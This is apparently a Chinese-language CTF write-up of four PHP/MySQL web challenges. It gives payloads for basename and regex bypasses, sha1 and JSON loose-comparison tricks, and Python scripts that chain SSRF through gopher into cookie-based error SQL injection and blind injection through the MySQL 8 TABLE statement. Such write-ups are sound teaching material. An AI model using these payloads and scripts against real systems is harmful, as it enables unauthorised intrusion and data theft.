EasyP
考点
php特性
wp
代码
<?php
include 'utils.php';
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}
if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>
$_SERVER['PHP_SELF']
官方解释:
当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/foo/bar.php 的脚本中使用
$*SERVER['PHP_SELF']
将得到 /foo/bar.php。__FILE*_
常量包含当前(例如包含)文件的完整路径和文件名。 从 PHP 4.3.0 版本开始,如果 PHP 以命令行模式运行,这个变量将包含脚本名。之前的版本该变量不可用
然后加上basename
,就可以直接获取bar.php
如果传入/index.php/utils.php/
,则basename($_SERVER[‘PHP_SELF’])
返回utils.php
,但是因为存在正则/utils.php/*$/i
来限制URL结尾出现utils.php,返回空
此处利用点为basename函数的特性:在遇到非ascii字符时会将其舍弃
ASCII值范围为0-255,但ASCII码并没有规定编号为128~255的字符,ASCII表范围为0-127,也就是我们传入128以上的数值,即可绕过正则,128 -> 0x80
即当url为:basename(“config.php/%ff”)实际为utils.php,利用这个特点可以绕过正则的匹配:preg_match(‘/utils.php/*$/i’
然后就是绕过show_source
,这个比较简单
可以看看我的一个CTF题目里
也可以利用urlencode
所以payload
index.php/utils.php/%ff?show[source
index.php/utils.php/%ff?%73how_source
Middle magic
考点:
php特性的绕过
wp
<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){
$aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);
if(preg_match('/pass_the_level_1#/', $aaa)){
echo "here is level 2";
if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
if ($_POST['admin'] == $_POST['root_pwd'])
echo '<p>The level 2 can not pass!</p>';
// START FORM PROCESSING
else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
echo "here is level 3,do you kown how to overcome it?";
if (isset($_POST['level_3'])) {
$level_3 = json_decode($_POST['level_3']);
if ($level_3->result == $result) {
echo "success:".$flag;
}
else {
echo "you never beat me!";
}
}
else{
echo "out";
}
}
else{
die("no");
}
// perform validations on the form data
}
else{
echo '<p>out!</p>';
}
}
else{
echo 'nonono!';
}
echo '<hr>';
}
?>
这儿绕过preg_replace
相当于绕过preg_match
,/^(.*)level(.*)$/
,
这种正则写法是存在缺陷的:.
用于任意字符匹配并不包括换行符,而且^ $
界定了必须在同一行,否则匹配不到,直接利用%0a
所以GET:aaa=%0apass_the_level_1%23
对于为什么要用%23
,不用#
?
因为URL中的#是位置标识符
对于sha1
绕过,很熟悉了
下面就是对php json
的绕过
http://blog.merl1ng.cc/2017/08/13/php%E5%BC%B1%E5%8C%B9%E9%85%8D%E5%92%8Cjson
$level_3->result == $result
,利用布尔true
绕过
payload
POST:
admin[]=1&root_pwd[]=2&level_3={"result":true};
easy_sql_1
use.php有个curl,想到了SSRF
我们用gopher://协议直接访问到了index.php
弱口令登录,admin和admin
登录成功后,出现cookie,是base64后的username
在cookie处存在注入,可以通过报错拿到flag
import requests
import urllib.parse
import base64
url = 'http://ip/use.php'
sqlpayload = 'uname=admin&passwd=admin&Submit=1'
cookie = b'''this_is_your_cookie=admin') and updatexml(1,concat(0x7e,(select substr((select flag from flag),1,40))),1)#'''
sqlbody_post = '''POST /index.php HTTP/1.1
Host: 127.0.0.1
Content-type:application/x-www-form-urlencoded
Content-Length: {}
{}
'''.replace('\n','\r\n').format(len(sqlpayload),sqlpayload)
sqlbody_get = '''GET /index.php HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=3qip5l91lc1jtal09u9h40tkp0;this_is_your_cookie={}
'''.replace('\n','\r\n').format(urllib.parse.quote(str(base64.b64encode(cookie),encoding='utf-8')))
print(sqlbody_get)
gopher_payload = urllib.parse.quote('gopher://127.0.0.1:80/_'+ urllib.parse.quote(sqlbody_get))
r = requests.get(url+'?url='+gopher_payload)
print(r.text)
easy_sql_2
对于堆叠注入
常用的语句就是prepare execute handler select update insert drop show into outfile
prepare和execute:就是用set定义一个字符串变量,而字符串变量可以用concat来绕过过滤,再用prepare对字符串进行预处理变成一个statement,execute执行字符串。
handler是MySQL独有的语句,代替select的,功能就是打开一个表,然后返回一个句柄,一行一行读
handler table_name open;
handler table_name read first;
handler table_name reand next;
show:就可以直接得数据库等信息
into outfile:可以写文件到目录中。
这儿我也想到了一个bypass
[bypass information_schema](https://www.anquanke.com/post/id/193512)
(好像用不到)
对于堆叠注入不能用,可以看看mysql8的新特性
TABLE statement - 列出表中全部内容
VALUES statement - 列出一行的值
该题是借用RoarCTF-ezsql
这个题的脚本
import requests
def bind_sql():
flag = ""
dic = "~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/-,+*)(&%$#!"
for i in range(1,1000):
f = flag
for j in dic:
_ = flag + j
# payload = "11'||('ctf',binary'{}',1,2,3,4)<(table/**/mysql.innodb_table_stats/**/limit/**/1,1)#".format(_)
#admin,fl11aag
payload = "11'||(binary'{}')<(table/**/ctf.fl11aag/**/limit/**/1,1)#".format(_)
print(payload)
data = {
"username": payload,
"password": "admin"
}
res = requests.post(url=url, data=data)
if 'success' in res.text:
if j == '~':
flag = flag[:-1] + chr(ord(flag[-1])+1)
print(flag)
exit()
flag += j
print(flag)
break
if flag == f:
break
return flag
if __name__ == '__main__':
url = 'url/login.php'
result = bind_sql()
print(result)